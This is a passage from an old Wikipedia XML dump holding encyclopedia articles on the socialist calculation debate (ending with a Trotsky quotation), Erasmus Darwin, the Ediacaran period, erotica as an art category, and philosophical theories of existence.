Decentralist socialists argue that while the calculation problem may not in itself rest on the assumption of society-wide or central planning, the attempted resolution of that &quot;problem&quot; in a non-market society will remain obfuscated or hidden from view if one assumes such a society to be a central planned one in this sense, as do most proponents of the calculation argument against socialism. This is because the notion of central planning necessarily precludes the operation of a self regulating system of stock control which is a key component of an effective counter-argument to the economic calculation argument along with [[calculation in kind]] ([[Otto Neurath]]) and the law of the minimum.

== Chinese socialism ==

The method used by China to resolve the economic calculation problem is that of a socialist market economy, in which the goals and the ownership are largely public, but this exists within a market pricing system. Of course, one might question whether China is still a socialist economy as it claims, when the means of production are increasingly privately owned and the [[Gini coefficient]] is higher than many capitalist countries.

==Trotsky==

One of the more surprising entries in the debate was this from [[Trotsky]]:

&quot;If there existed the universal mind, that projected itself into the scientific fancy of Laplace; a mind that would register simultaneously all the processes of nature and of society, that could measure the dynamics of their motion, that could forecast the results of their inter-reactions, such a mind, of course, could a priori draw up a faultless and an exhaustive economic plan, beginning with a number of hectares of wheat and down to the last button for a vest.  In truth, the bureaucracy often conceives that just such a mind is at its disposal; that is why it so easily frees itself from the control of the market and of Soviet democracy.&quot;

&quot;The innumerable living participants of economy, State as well as private, collective as well as individual, must give notice of their needs and of their relative strength not only through the statistical determinations of plan commissions but by the direct pressure of supply and demand.  The plan is checked and to a considerable measure, realized through the market.  The regulation of the market itself must depend upon the tendencies that are brought out through its medium.  The blueprints produced by the offices must demonstrate their economic expediency through commercial calculation.&quot;

...

&quot;Economic accounting is unthinkable without market relations.&quot;

Leon Trotsky, &quot;Soviet Economy in Danger&quot;, New York, 1933. Quoted in &quot;Real Socialism Wouldn't Work Either&quot;.

(It should be noted, however, that this quotation refers to the transition period between the New Economic Program, better known as the [[NEP]], and the [[planned economy]] in the [[USSR]].)

==See also==

For elucidation of the economic calculation problem, see:

*[[anarcho-communism]]
*[[anarchist]]
*[[World Socialist Movement]]

===References===

[[D.R. Steele]], ''[[From Marx to Mises]]'' (Chicago: Open Court, 1992) ISBN 0812690168 

===External links===

*[http://www.mises.org/econcalc.asp Economic Calculation in the Socialist Commonwealth by Ludwig von Mises]
*[http://cepa.newschool.edu/het/essays/paretian/social.htm The Socialist Calculation Debate]
*[http://www.libertarian.co.uk/lapubs/econn/econn046.pdf Real Socialism Wouldn't Work Either]
*[http://reality.gn.apc.org/econ/hayek.htm Information and Economics: A Critique of Hayek] 
*[http://www.ecn.wfu.edu/~cottrell/socialism_book/calculation_debate.pdf Calculation, Complexity and Planning: The Socialist Calculation Debate Once Again]

[[Category:History of economic thought]]
[[Category:Socialism]]
[[Category:Problems]]

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    </revision>
  </page>
  <page>
    <title>Erasmus Darwin</title>
    <id>9299</id>
    <revision>
      <id>41930681</id>
      <timestamp>2006-03-02T18:26:18Z</timestamp>
      <contributor>
        <username>JackyR</username>
        <id>541890</id>
      </contributor>
      <comment>/* Rocket engine */ moved &quot;rocket engine&quot; to Talk, pending investigation</comment>
      <text xml:space="preserve">{{dablink|This article is about Erasmus Darwin who lived 1731–1802; for his grandson see [[Erasmus Alvey Darwin]].}}
[[image:Portrait_of_Erasmus_Darwin_by_Joseph_Wright_of_Derby_(1792).jpg|thumb|right|Portrait of Erasmus Darwin by [[Joseph Wright of Derby]] ([[1792]]).]]
[[Image:Darwin cutout.gif|thumb|right|171px|Stone-cast bust of Erasmus Darwin, by [[William John Coffee]], c 1795, (Crown Derby Modeller and world renown artist)]]
'''Erasmus Darwin''' ([[December 12]],[[1731]] – [[April 18]],[[1802]]) trained as a [[physician]] and wrote extensively on medicine and botany, as well as composing [[poetry]]. He lived in [[Lichfield]] and [[Derby]], [[England]]. He was one of the founder members of the [[Lunar Society]], a discussion group of pioneering industrialists and [[natural philosopher]]s. He was a member of the [[Darwin — Wedgwood family]], most famously including his grandson, [[Charles Darwin]].

He was born near at [[Elston Hall]] near [[Nottingham]], and educated at [[Chesterfield School]] then later at [[St John's College, Cambridge|St. John's College]], [[University of Cambridge|Cambridge]]. He obtained his degree at [[Edinburgh Medical School]]. He settled in 1756 as a physician at Nottingham, but meeting with little success he moved in the following year to Lichfield.  In 1757 he married Mary (Polly) Howard (died 1770).  He practiced medicine in [[Lichfield]] in Staffordshire for twenty years; [[George III of the United Kingdom|George III]] invited him to be royal physician but he declined. In [[1781]] he married Elizabeth Pole and moved to her home, Radburn Hall, 4 miles west of [[Derby]]. (The hall and village are these days known as [[Radbourne]].) In [[1782]] they moved to Full Street, [[Derby]].  He died suddenly on the 18th of April 1802, weeks after having moved to Breadsall Priory just north of [[Derby]].  He is buried in All Saints Church, Breadsall. Erasmus Darwin is commemorated on one of the [[Lunar Society Moonstones|Moonstones]], a series of monuments in [[Birmingham]].

==Zoönomia==
His most important scientific work is his ''[[Zoönomia]]'' (1794&amp;ndash;1796), which contains a system of [[pathology]], and a treatise on &quot;[[generation]],&quot; in which he, in the words of his famous grandson, [[Charles Robert Darwin]], anticipated the views of [[Jean-Baptiste Lamarck]], who in turn is regarded to have foreshadowed the [[theory of evolution]]. The essence of his views is contained in the following passage, which he follows up with the conclusion that one and the same kind of living filaments is and has been the cause of all organic life: 

&lt;blockquote&gt;Would it be too bold to imagine that, in the great length of time since the earth began to exist, perhaps millions of ages before the commencement of the history of mankind would it be too bold to imagine that all warm-blooded animals have arisen from one living filament, which the great First Cause endued with animality, with the power of acquiring new parts, attended with new propensities, directed by irritations, sensations, volitions and associations, and thus possessing the faculty of continuing to improve by its own inherent activity, and of delivering down these improvements by generation to its posterity, world without end!&lt;/blockquote&gt;

''Zoönomia'' is widely considered to foreshadow the pre-Darwinian theories of [[Jean-Baptiste Lamarck]], and maybe even the [[theory of evolution]] formulated by his grandson [[Charles Darwin]]. Another of his grandsons was [[Francis Galton]] (see family tree below).

==Other achievements==
In addition to the [[Lunar Society]], Erasmus Darwin belonged to the influential [[Derby Philosophical Society]], as did his nephew-in-law [[William Darwin Fox|Samuel Fox]] (see family tree below). He experimented with the use of air and gases to alleviate infections and cancers in patients. A Pneumatic Institution was established at [[Clifton]] in [[1799]] for clinically testing these ideas. He conducted research into the formation of [[cloud]]s, on which he published in [[1788]]. He also inspired [[Robert Weldon]]'s [[Somersetshire Coal Canal caisson lock]] (''[[:fr:Ascenseur à caisson du canal à charbon du Somersetshire|article in french]]'').

Darwin's experiments in [[galvanism]] inspired [[Mary Shelley]] to write ''[[Frankenstein]]''. His poetry was admired by [[Coleridge]] and [[Wordsworth]]; and often made reference to his interests in science, for example botany and [[steam engine]]s. His most famous work of poetry was ''The Botanic Garden''.

===Cosmological speculation===
Contemporary literature dated the cosmological theories of the [[Big Bang]] and [[Big Crunch]] to the 19th and 20th centuries. However Erasmus Darwin had speculated on these sorts of events in ''The Botanic Garden, A Poem in Two Parts: Part 1, The Economy of Vegetation, 1791:''
[[Image:Erasdarwin1.jpg|thumb|right|171px|Erasmus Darwin]]
&lt;blockquote&gt;''Roll on, ye Stars! exult in youthful prime,''&lt;br /&gt;
''Mark with bright curves the printless steps of Time;''&lt;br /&gt;
''Near and more near your beamy cars approach,''&lt;br /&gt;
''And lessening orbs on lessening orbs encroach; —''&lt;br /&gt;
''Flowers of the sky! ye too to age must yield,''&lt;br /&gt;
''Frail as your silken sisters of the field!''&lt;br /&gt;
''Star after star from Heaven's high arch shall rush,''&lt;br /&gt;
''Suns sink on suns, and systems systems crush,''&lt;br /&gt;
''Headlong, extinct, to one dark center fall,''&lt;br /&gt;
''And Death and Night and Chaos mingle all!''&lt;br /&gt;
''— Till o'er the wreck, emerging from the storm,''&lt;br /&gt;
''Immortal Nature lifts her changeful form,''&lt;br /&gt;
''Mounts from her funeral pyre on wings of flame,''&lt;br /&gt;
''And soars and shines, another and the same.''&lt;/blockquote&gt;

===Inventions===
Darwin was the inventor of several devices, though he did not patent any. He believed this would damage his reputation as a doctor, and encouraged his friends to patent their own modifications of his designs.
* A horizontal [[windmill]], which he designed for [[Josiah Wedgwood]] (who would be Charles Darwin's other grandfather, see family tree below).
* A [[carriage]] that would not tip over ([[1766]]).
* A speaking machine (at [[Clifton]] in [[1799]]).
* A [[canal lock|canal lift]] for barges.
* A minute artificial bird. 
* A [[copying]] machine ([[1778]]).
* A variety of [[weather]] monitoring machines.
* An [[artesian well]] ([[1783]].



==Quotations==
&lt;blockquote&gt;Organic life beneath the shoreless waves&lt;br /&gt;
Was born and nurs'd in ocean's pearly caves;&lt;br /&gt;
First forms minute, unseen by spheric glass,&lt;br /&gt;
Move on the mud, or pierce the watery mass;&lt;br /&gt;
These, as successive generations bloom,&lt;br /&gt;
New powers acquire and larger limbs assume;&lt;br /&gt;
Whence countless groups of vegetation spring,&lt;br /&gt;
And breathing realms of fin and feet and wing.&lt;br /&gt;
— ''[[The Temple of Nature]]'' [[1802]]&lt;/blockquote&gt;

&lt;blockquote&gt;For if we may compare infinities, it would seem to require a greater infinity of power to cause the causes of effects, than to cause the effects themselves. This idea is analogous to the improving excellence observable in every part of the creation; such as in the progressive increase of the solid or habitable parts of the earth from water; and in the progressive increase of the wisdom and happiness of its inhabitants; and is consonant to the idea of our present situation being a state of probation, which by our exertion we may improve, and are consequently responsible for our actions. &lt;br /&gt;— ''[[Zoönomia]], vol. 1'' [[1794]]&lt;/blockquote&gt;

==Family Tree==
[[Image:Darwin-Wedgwood-Galton family tree.png|590px]]

==External links==
* {{gutenberg author| id=Erasmus+Darwin | name=Erasmus Darwin}}
* [http://pages.britishlibrary.net/charles.darwin3/erasmus.html &quot;Preface and 'a preliminary notice'&quot; by Charles Darwin] in Ernst Krause, ''Erasmus Darwin'' (1879)
* [http://ahistory.eotalk.com &quot;Zoonomia, Vol. I Or, the Laws of Organic Life&quot;]
* [http://www.erasmusdarwin.org Erasmus Darwin House, Lichfield]

[[Category:1731 births|Darwin, Erasmus]]
[[Category:1802 deaths|Darwin, Erasmus]]
[[Category:Botanists|Darwin, Erasmus]]&lt;!--can't find an author abbrev, so leave in this category too--&gt;
[[Category:Darwin — Wedgwood family|Darwin, Erasmus]]
[[Category:English botanists|Darwin, Erasmus]]
[[Category:Fellows of the Royal Society|Darwin, Erasmus]]
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[[Category:Natives of Birmingham|Darwin, Eramus]]
[[Category:Proto-evolutionary biologists|Darwin, Erasmus]]
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  <page>
    <title>Ediacaran</title>
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        <username>Phil Boswell</username>
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      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{:Ediacaran/Infobox}}
The '''Ediacaran''' Period is the last [[geological period]] of the [[Neoproterozoic]] Era, just before the [[Cambrian]]. It ranges from approximately 635 to 542 million years before the present. Historically this name has been variously used by researchers, but its status as an official geological period was ratified in March [[2004]] by the [[International Union of Geological Sciences]] (IUGS) and announced on [[May 13]] [[2004]], the first new such period declared in 120 years.

==Ediacaran dating==
The period is unusual because its beginning is not defined by a change in the [[fossil record]]. Unusual soft bodied [[fossil]]s do occur in the Ediacaran Period, but these are limited to the latter parts of the Period, after about 580 million years ago. Rather, the beginning is defined by the appearance of a new texturally and chemically distinctive carbonate layer that indicates a climatic change (the end of a global ice age).  There is an unusual depletion of &lt;sup&gt;13&lt;/sup&gt;C that marks the end of the global [[ice age]]s of the preceding [[Cryogenian]] period.  The date of the boundary is fairly well constrained at 635 million years ago based on U-Pb ([[uranium]]-[[lead]]) dates from [[Namibia]] and [[China]].

==Ediacaran biota==
{{mergeto|Vendian biota}}
The name comes from the [[Ediacara Hills]] (derived from an Indigenous Australian term for a place near water) of [[South Australia]], thus being the only geologic period to have a name originating in the southern hemisphere. It was in the Ediacara Hills, on the western margin of the [[Flinders Ranges]], that peculiar Precambrian fossils were found by the geologist [[Reg Sprigg]] in [[1946]], and studied by [[Martin Glaessner]] starting in the [[1950s]].  Glaessner initially thought the creatures to be primitive versions of animals such as [[coral]]s, [[sea-pen]]s and [[worm]]s that were better known from later times.  In subsequent decades, many more Precambrian fossils have been found in the Flinders Ranges of South Australia.  Additional fossils have been found in dozens of outcrops on all continents, and collectively these have come to be known as the '''[[Vendian biota|Ediacara biota]]'''.  Especially important deposits have been found in the [[White Sea]] area of [[Russia]], in southwestern [[Africa]], in northwestern [[Canada]], and in south eastern [[Newfoundland]].

[[Image:Charnia wardi.jpg|thumb|right|250px|570-575 million-year old specimen of ''Charni wardi'' from Calvert, Newfoundland]]

As time has passed, assemblages of the Ediacara biota have, if anything, become more rather than less enigmatic. The earliest Ediacara fossils, 575 million years ago, were fronds attached to the seafloor by discs. Frond-like fossils such as ''[[Charniodiscus]]'' resemble living seapens. Some, called Rangeomorphs, show fractal branching (meaning that the branches are self-similar). Various disc-like fossils appear to have been creatures like sea-anemones (''[[Mawsonities]]'', ''[[Hiemalora]]'' and ''[[Inaria]]'') and sponges (''[[Palaeophragmodictya]]''). One of the largest and most distinctive Ediacara animals was a flattened, oval-shaped and segmented worm-like form called ''[[Dickinsonia]]'' that could grow to a metre or more in length. ''[[Arkarua]]'', a tiny five-sided disc, resembles a sea-star. About 560 million years ago, trace fossils like worm burrows appear in the fossil record together with small, body fossils that have bilateral symmetry. A few of these fossils ''[[Kimberella]]'', ''[[Parvancorina]]'' and ''[[Spriggina]]'' seem to be possible precursors to Cambrian forms. On the other hand, many of the best known Ediacaran creatures appear to be immobile bags, annulate disks, fronds, and air mattress-like shapes that have no obvious relationship to later forms.  There is considerable controversy about the nature of many Ediacaran forms, with some having been classified in as many as six different kingdoms.

The Ediacaran biota is occasionally referred to as the ''Vendian biota'' but this has been used more rarely in recent times. This usage echoes the former name ''Vendian'', by which the Ediacaran period was known in Russia and some other parts of the world prior to the official naming of the period in 2004. Modern usage tends toward using ''Ediacaran'' to describe the full faunal range including [[algae]], [[sponge]]s, and all other life forms of the late Precambrian.  A term ''Vendobionta'', which is also used, is not a description of the fauna, but rather the name of a separate Kingdom into which many of the fossils were placed by [[Germany|German]] palaeontologist [[Dolf Seilacher]]. This has been extremely controversial, and has not gained widespread acceptance.

There are even older fossils known.  Well dated fossils of bacteria are found in cherts as old as 3460 million years and probable bacterial mats known back to 3600 million years.  3800 million year old graphite in metasediments from Western Greenland is thought to be of organic origin.  Many very old proposed fossils such as Eozoon have subsequently been rejected as naturally occurring [[pseudo-fossils]].  The oldest current candidates for early multicelled life are 2000 million year old tracks from West Texas, 1000 million year old tracks from [[India]] and Australia, and 700 million year old worm impressions from China.
(There is considerable debate as to whether any of these may be traces of complex animals. They may be imprints of &quot;bags of cells&quot; -- confederations of single-celled creatures moving in concert -- or even inorganic geological anomalies, though most geological opinion tends to the latter. The Ediacara biota is accepted as the earliest record of animal life by most palaeontologists).

==References==
* {{cite web
 | title = Ediacaran Period
 | work = GeoWhen Database
 | url = http://www.stratigraphy.org/geowhen/stages/Ediacaran.html
 | accessdate = January 5
 | accessyear = 2006
 }}
* {{cite journal
 | first = James G. | last = Ogg
 | title = Status on Divisions of the International Geologic Time Scale
 | journal = Lethaia
 | year = 2004
 | volume = 37
 | issue = 
 | pages = 183–199
 | url = http://www.stratigraphy.org/precambrian/Ogg_2003.pdf
 }}
* {{News reference
 | url = http://news.bbc.co.uk/1/hi/sci/tech/3721481.stm
 | title = Geological time gets a new period: Geologists have added a new period to their official calendar of Earth's history—the first in 120 years
 | org = BBC
 | date = 17 May, 2004
 }}

==External links==
* [http://www.ucmp.berkeley.edu/vendian/vendian.html Introduction to the Vendian Period]
* [http://members.tripod.com/~Cambrian/IntrotoEdiacaran  Introduction to the Ediacaran Fauna]

{{Proterozoic Footer}}

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  <page>
    <title>Erotica</title>
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        <username>Sanbec</username>
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      <minor />
      <comment>es:</comment>
      <text xml:space="preserve">'''Erotica''', from the [[Greek language]] ''Eros'' (&quot;love&quot;), are [[Work (fine arts)|works of art]], including literature, photography, film, sculpture and painting, that deal substantively with [[eroticism|erotically]] [[sexual stimulation|stimulating]] or [[sexual arousal|arousing]] descriptions. ''Erotica'' is rather a modern word used to describe the [[representation (arts)|portrayal]] of human sensuality and sexuality with high-art aspirations, differentiating such work from commercial [[pornography]]. Erotica portraying homosexual people is referred to as [[homoeroticism]].

While pornography popularly focuses on unadorned and unemotional lusts and the explicit depiction of sexual acts, erotica tends to define material with a higher emotional content, the development of place, character and story line, or of an overall artistic theme.  However, such distinctions are necessarily subjective and may say more about the critic's own tastes on erotic material than the artistic and other attributes of the material itself.  In the [[film|motion picture]] sense, [[Softcore|softcore pornography]]  ('''soft porn''') is a similar kind of [[commercial art]] form that resides in the area between erotica and [[hardcore pornography]], although erotica, as a type of [[fine art]], may also be highly [[sexually explicit]].  The division between erotica and porn is an aesthetic division, usually dependent on moral philosophy, religious dogma, or personal outlook.  At present, many legal jurisdictions maintain laws regulating the availability of expressions deemed pornographic, arguably to maintain a level of comfort or safety for a majority of citizens.

It is a notable trait of the strength of the human reproductive drive relative to the psyche as a whole, that unambiguous reference to sexuality, framed in a manner which the perceiver thereof finds acceptable, tends to initiate an involuntary reaction of [[sexual arousal]], possibly building increased [[sexual desire]], which may lead to creating or taking advantage of opportunity to engage in [[human sexual behavior|sexual activity]].  This can be true of erotica just as well as other, both more and less refined references to sex.  Depictions of the human body which merely fail to conceal or disguise the secondary sexual characteristics of its particular gender may be all that is necessary to trigger arousal in a person who is attracted to that gender.  For this reason, erotica is too broadly described merely in terms of the effect that it engenders in its audience, as all sexually related matter has the potential to create such an effect.  For example, in the absence of the availability of pornography, some men have used clothing catalogs as a form of erotica.  [[Gloria Leonard]] is famously quoted as saying &quot;The difference between pornography and erotica is lighting.&quot;

==Erotic art==
===Painters===
*[http://commons.wikimedia.org/wiki/Category:Agostino_Carracci Agostino Carracci]

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  <page>
    <title>Existence</title>
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      <text xml:space="preserve">{{redirect|Exist}}
There is no universally accepted theory of what the word '''existence''' means.  The dominant (though by no means universal) view in [[20th century|twentieth-century]] and contemporary Anglo-American [[philosophy]] is that existence is what is asserted by statements of [[first order logic]] of the form &quot;for some x Fx&quot;.  This agrees with the simple and commonsensical view that, in uttering &quot;There is a bridge across the Thames at Hammersmith&quot;, or &quot;A bridge crosses the Thames at Hammersmith&quot;, one asserts the ''existence'' of a bridge across the Thames at Hammersmith.  The word &quot;existence&quot;, on this view, is simply a way of describing the logical form of ordinary subject-predicate sentence.

Unfortunately, this simple view is vulnerable to a number of philosophical objections, and the problem of existence is one that still exercises the minds of contemporary philosophers.  This article is a brief overview of those problems, of the solutions that certain philosophers have offered, and suggestions for further reading.

== The problems of existence ==
The first problem is that, on the simple view above, any sentence of apparently subject-predicate form &quot;S is P&quot; must assert the existence of an object satisfying &quot;S&quot; and &quot;P&quot;.  Thus any noun phrase whatsoever that is the subject or predicate of a true sentence of this form, must be presumed to denote something.  This leads to the question of what is denoted in sentences containing abstract noun phrases, such as &quot;goodness is a virtue&quot;, &quot;blindess can be overcome&quot;, &quot;the number 9 is the sum of 6 and 3&quot; and so on.  Are goodness, blindness, virtue etc. objects in the sense that chairs, tables and houses are objects?  

Worse, a sentence like &quot;existence is not a predicate&quot; is apparently of subject predicate form, thus &quot;existence&quot; must be presumed to denote something.  Thus &quot;signifies existence&quot;, cannot simply be a way of describing the logical form of ordinary subject-predicate sentence.  The sentence &quot;a bridge crosses the Thames at Hammersmith&quot; cannot just be about a bridge, the Thames, and Hammersmith.  It must be about &quot;existence&quot; as well.

This question has divided philosophers into two classes: [[Realism | realists]], who assert the existence of objects corresponding to abstract concepts, and [[Nominalism | nominalists]], who deny the existence of such things.  The subject of what things exist corresponding to grammatical categories of noun phrase is known as [[ontology]].

The nominalist approach to the question is to argue that certain noun phrases can be &quot;eliminated&quot; by rewriting a sentence in a form that has the same meaning, but which does not contain the noun phrase.  Thus Ockham argued that &quot;Socrates has wisdom&quot;, which apparently asserts the existence of a reference for &quot;wisdom&quot;, can be rewritten as &quot;Socrates is wise&quot;, which contains only the referring phrase &quot;Socrates&quot;.  This method became widely accepted in the twentieth century by the so-called [[Analytic philosophy| analytic school]] of philosophy.

Realists, however, turn this argument on its head, arguing that since the sentence &quot;Socrates is wise&quot; can be rewritten as &quot;Socrates has wisdom&quot;, this proves the existence of a hidden referent for &quot;wise&quot;.

The second problem is that both a singular sentence like &quot;Pegasus flies&quot; and its negation seem to imply the existence of a subject.  If &quot;Pegasus flies&quot; is true, then something (namely Pegasus) flies.  So if the sentence is true, &quot;Pegasus&quot; has a referent.  But if the sentence is false, its negation is true.  But the negation of &quot;Pegasus flies&quot; is &quot;it is not the case that Pegasus flies&quot;.  If this is true, then something (namely Pegasus) does not fly, and so &quot;Pegasus&quot; still has a referent.  Whether &quot;Pegasus flies&quot; is true or not, &quot;Pegasus&quot; has a referent, and so &quot;Pegasus&quot; has a referent.  But common sense suggests that &quot;Pegasus&quot; does not have a referent.

== Modern approaches to the problem ==
According to [[Bertrand Russell]]'s [[Theory of Descriptions]], the negation operator in a singular sentence takes wide and narrow scope: we distinguish between &quot;some S is not P&quot; (where negation takes &quot;narrow scope&quot;) and &quot;it is not the case that &quot;some S is P&quot; (where negation takes &quot;wide scope&quot;).  The problem with this view is that there appears to be no such scope distinction in the case of proper names.  The sentences &quot;Socrates is not bald&quot; and &quot;it is not the case that Socrates is bald&quot; both appear to have the same meaning, and they both appear to assert or presuppose the existence of someone (Socrates) who is not bald, so that negation takes narrow scope.  The theory of descriptions has generally fallen into disrepute, though there have been recent attempts to revive it by [[Stephen Neale]] and [[Frank Jackson]].
According to the [[Direct reference]] view, an early version of which was originally proposed by [[Peter Strawson]], and (some have argued) even earlier by [[Gottlob Frege]], a proper name strictly has no meaning when there is no object to which it refers.  This view is sometimes justified by the argument that the semantic function of a proper name is to tell us ''which'' object bears the name, and thus to identify some object.  But no object can be identified if none exists.  Thus, a proper name must have a bearer if it is to be meaningful.  To adapt an argument of Strawson's, someone who points to an apparently empty space, uttering &quot;that's a fine red one&quot; communicates nothing to someone who cannot see or understand what he is pointing to.  Variants of the Direct reference view have been proposed by [[Saul Kripke]], [[Gareth Evans]], [[Scott Soames]] and others.

According to the &quot;two sense&quot; view of existence, existential statements fall into two classes.  

:1.  Those asserting existence in a wide sense.  These are typically of the form &quot;N is P&quot; for singular N, or &quot;some S is P&quot;.  

:2.  Those asserting existence in a narrow sense.  These are typically of the form &quot;N exists&quot; or &quot;S's exist&quot;.

The problem is then evaded as follows.  &quot;Pegasus flies&quot; implies existence in the wide sense, for it implies that ''something'' flies.  But it does not imply existence in the narrow sense, for we deny existence in this sense by saying that Pegasus does not exist.  In effect, the world of all things divides, on this view, into those (like [[Socrates]], [[Venus]] the planet, New York) that have existence in the narrow sense, and those (like [[Sherlock Holmes]], [[Venus]] the goddess, [[Minas Tirith]]) that do not.

Supporters of this view (which derives from [[Alexius Meinong]]) include [[Terence Parsons]] and [[Edward N. Zalta | Edward Zalta]].

The difficulty with this view is (a) that common sense suggests that there are no such things as fictional characters, places, (b) there is no strong evidence for two kinds of existential sentence as used in ordinary language.

== Earlier views ==
The first comprehensive treatment of the subject was by [[Aristotle]] in the [[Metaphysics]].  He developed a complicated theory of being, according to which only individual things, called [[substances]] fully have being, but other things such as relations, quantity, time and place (called the [[Categories]]) have a derivative kind of being, dependent on individual things  (See the article on [[Ontology]] for a detailed discussion).  The medieval philosopher [[Thomas Aquinas]], perhaps following the Persion philosopher [[Avicenna]], argued that God is pure being, and that in God essence and existence are the same.  

At about the same time, the [[nominalist]] philosopher [[William of Ockham]], argued, in Book I of his [[Sum of Logic | Summa Totius Logicae]] (Treatise on all Logic) the Categories are not a form of Being in their own right, but derivative on the existence of individuals.

The [[early modern]] treatment of the subject derives from [[Antoine Arnauld]] and [[Pierre Nicole]]'s Logic, or 'The Art of Thinking', better known as the ''[[Port-Royal Logic]]''.  

Arnauld thought that a [[proposition]] or [[judgment]], consists of taking two different ideas and either putting them together or rejecting them:

:After conceiving things by our ideas, we compare these ideas and, finding that some belong together and others do not, we unite or separate them.  This is called affirming or denying, and in general judging. 

:This judgment is also called a proposition, and it is easy to see that it must have two [[terms]].  One term, of which one affirms or denies something, is called the [[subject]]; the other term, which is affirmed or denied, is called the [[attribute]] or [[predicate | Praedicatum]].   [Logic, II.3, Buroker p. 82]

The two terms are joined by the verb &quot;is&quot; (or &quot;is not&quot;, if the predicate is denied of the subject).  Thus every proposition has three components: the two terms, and the &quot;[[copula]]&quot; that connects or separates them.  Even when the proposition has only two words, the three terms are still there.  For example &quot;God loves humanity&quot;, really means &quot;God is a lover of humanity&quot;, &quot;God exists&quot; means &quot;God is a thing&quot;.

This theory of judgment dominated logic for centuries.  It has the obvious difficulty, noted above, that a proposition of the form &quot;Some A is B&quot; is not necessarily existential.  If neither A nor B includes the idea of existence, then &quot;some A is B&quot; simply joins A to B.  Conversely, if A or B do include the idea of existence in the way that &quot;triangle&quot; contains the idea &quot;three angles equal to two right angles, then &quot;A exists&quot; is automatically true, and we have an [[ontological proof]] of A's.  (Indeed Arnauld's contemporary [[Descartes]] famously argued so, regarding the concept &quot;God&quot; (discourse 4,  Meditation 5).

The theory was current until the middle of the nineteenth century. [[David Hume|Hume]] argued that the claim that a thing exists, when added to our notion of a thing, does not add anything to the concept.  For example, if we form a complete notion of Moses, and superadd to that notion the claim that Moses existed, we are not adding anything to the notion of Moses.
Kant also argued that existence is not a &quot;real&quot; predicate, but gave no explanation of how this is possible, indeed his famous discussion of the subject is merely a restatement of Arnauld's doctrine that in the proposition &quot;God is omnipotent&quot;, the verb &quot;is&quot; signifies the joining or separating of two concepts such as &quot;God&quot; and &quot;omnipotence&quot;.

Mill (and also Kant's pupil [[Herbart]]) argued that the predicative nature of existence was proved by sentences like &quot;A centaur is a poetic fiction&quot; (Mill) or &quot;A greatest number is impossible&quot; (Herbart).  [[Franz Brentano]] challenged this, so also (as is better known) did [[Gottlob Frege | Frege]].  Brentano argued that we can join the concept represented by a noun phrase &quot;an A&quot; to the concept represented by an adjective &quot;B&quot; to give the concept represented by the noun phrase &quot;a B-A&quot;.  For example, we can join &quot;a man&quot; to &quot;wise&quot; to give &quot;a wise man&quot;.  But the noun phrase &quot;a wise man&quot; is not a sentence, whereas &quot;some man is wise&quot; is a sentence.  Hence the copula must do more than merely join or separate concepts.  Furthermore, adding &quot;exists&quot; to &quot;a wise man&quot;, to give the complete sentence &quot;a wise man exists&quot; has the same effect as joining &quot;some man&quot; to &quot;wise&quot; using the copula.  So the copula has the same effect as &quot;exists&quot;.  Brentano argued that every categorical proposition can be translated into an existential one without change in meaning and that the &quot;exists&quot; and &quot;does not exist&quot; of the existential proposition take the place of the copula.  He showed this by the following examples:
 
: The categorical proposition &quot;Some man is sick&quot;, has the same meaning as the existential proposition &quot;A sick man exists&quot; or &quot;There is a sick man&quot;. 

: The categorical proposition &quot;No stone is living&quot; has the same meaning as the existential proposition &quot;A living stone does not exist&quot; or &quot;there is no living stone&quot;. 

: The categorical proposition &quot;All men are mortal&quot; has the same meaning as the existential proposition &quot;An immortal man does not exist&quot; or &quot;there is no immortal man&quot;. 

: The categorical proposition &quot;Some man is not learned&quot; has the same meaning as the existential proposition &quot;A non-learned man exists&quot; or &quot;there is a non-learned man&quot;.

Frege developed a similar view (thought later) in his great work [[The Foundations of Arithmetic]], as did [[Charles Peirce]].  The Frege-Brentano view is the basis of the dominant position in modern Anglo-American philosophy that existence asserted by the existential quantifier.  (As expressed by Quine's slogan &quot;To be is to be the value of a variable).

== European views ==
Influenced by the views of Brentano's pupil [[Alexius Meinong]], and by [[Edmund Husserl]], Germanophone and Francophone philosophy took a different direction regarding the question of existence.  See the article on [[existentialism]] for further detail.

== Quotations ==
*For manifestly you have been long aware of what you mean when you use the expression Being.  We, however, who used to think we understood it, have now become perplexed ([[Plato]]).
*It is impossible for a thing's existence to be caused by its essential constituent principles, for nothing can be the sufficient cause of its existence, if its existence is caused by another.  But this cannot be true of God; because we call God the first efficient cause.  Therefore it is impossible that in God his existence should differ from his essence ([[Thomas Aquinas]]). 
* The root of the error is in multiplying entities according to the multiplicity of terms and supposing that every term has something real corresponding to it.  This, however, is erroneous and leads far away from the truth ([[William of Ockham]]).
*The world itself is not an entity within the world ([[Martin Heidegger]]).
*Many volumes might be filled with the frivolous speculations concerning the nature of Being ... the fog which arose from this narrow spot diffused itself at an early period over the whole surface of metaphysics ([[John Stuart Mill]]).
*Those who like paradoxical modes of expression could very well say: &quot;There are objects of which it is true that there are no such objects&quot; ([[Alexius Meinong]]).
*My mother-in-law, a famous and forceful religious leader, assured me that philosophy is only difficult because of the longs words that it uses.  I confronted her with  the following sentence from notes I had made that day: &quot;What ''is'' means is and therefore differs from ''is'', for &quot;''is'' is&quot; would be nonsense&quot;.  It cannot be said that it is long words that make this sentence difficult ([[Bertrand Russell]]).
*The reality of that cup is that it ''is'' there, and that is ''not'' me ([[Jean Paul Sartre]]).
*To be assumed as an entity is to be assumed as a value of a variable ([[Willard Van Orman Quine]]).
*Like breathing, only quieter ([[J. L. Austin]] – talking about existence).
*Existence is what you make of it ([[Jack Kerouac]]).
*With the exception of man, no being wonders at his own existence. ([[Arthur Schopenhauer]])

== See also == 
* ''[[Cogito ergo sum]]''
* [[Cosmological argument]]
* [[Existence proof]]
* [[Existential quantification]]
* [[Gödel's ontological proof]]
* [[Meaning of life]]
* [[Metaphysics]]
* [[Nonexistence]]
* [[Ontology]]
* [[Philosophy]]
* [[Solipsism]]

== External links ==
* [http://plato.stanford.edu/entries/existence/ Existence] on the [[Stanford Encyclopedia of Philosophy]]
* [http://www.formalontology.it/existence.htm Existence. Definitions from leading philosophers]

{{Philosophy (navigation)}}

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  </page>
  <page>
    <title>Economy (disambiguation)</title>
    <id>9303</id>
    <revision>
      <id>39819766</id>
      <timestamp>2006-02-16T01:58:13Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">{{Wiktionarypar|economy}}
'''Economy''' can refer to:

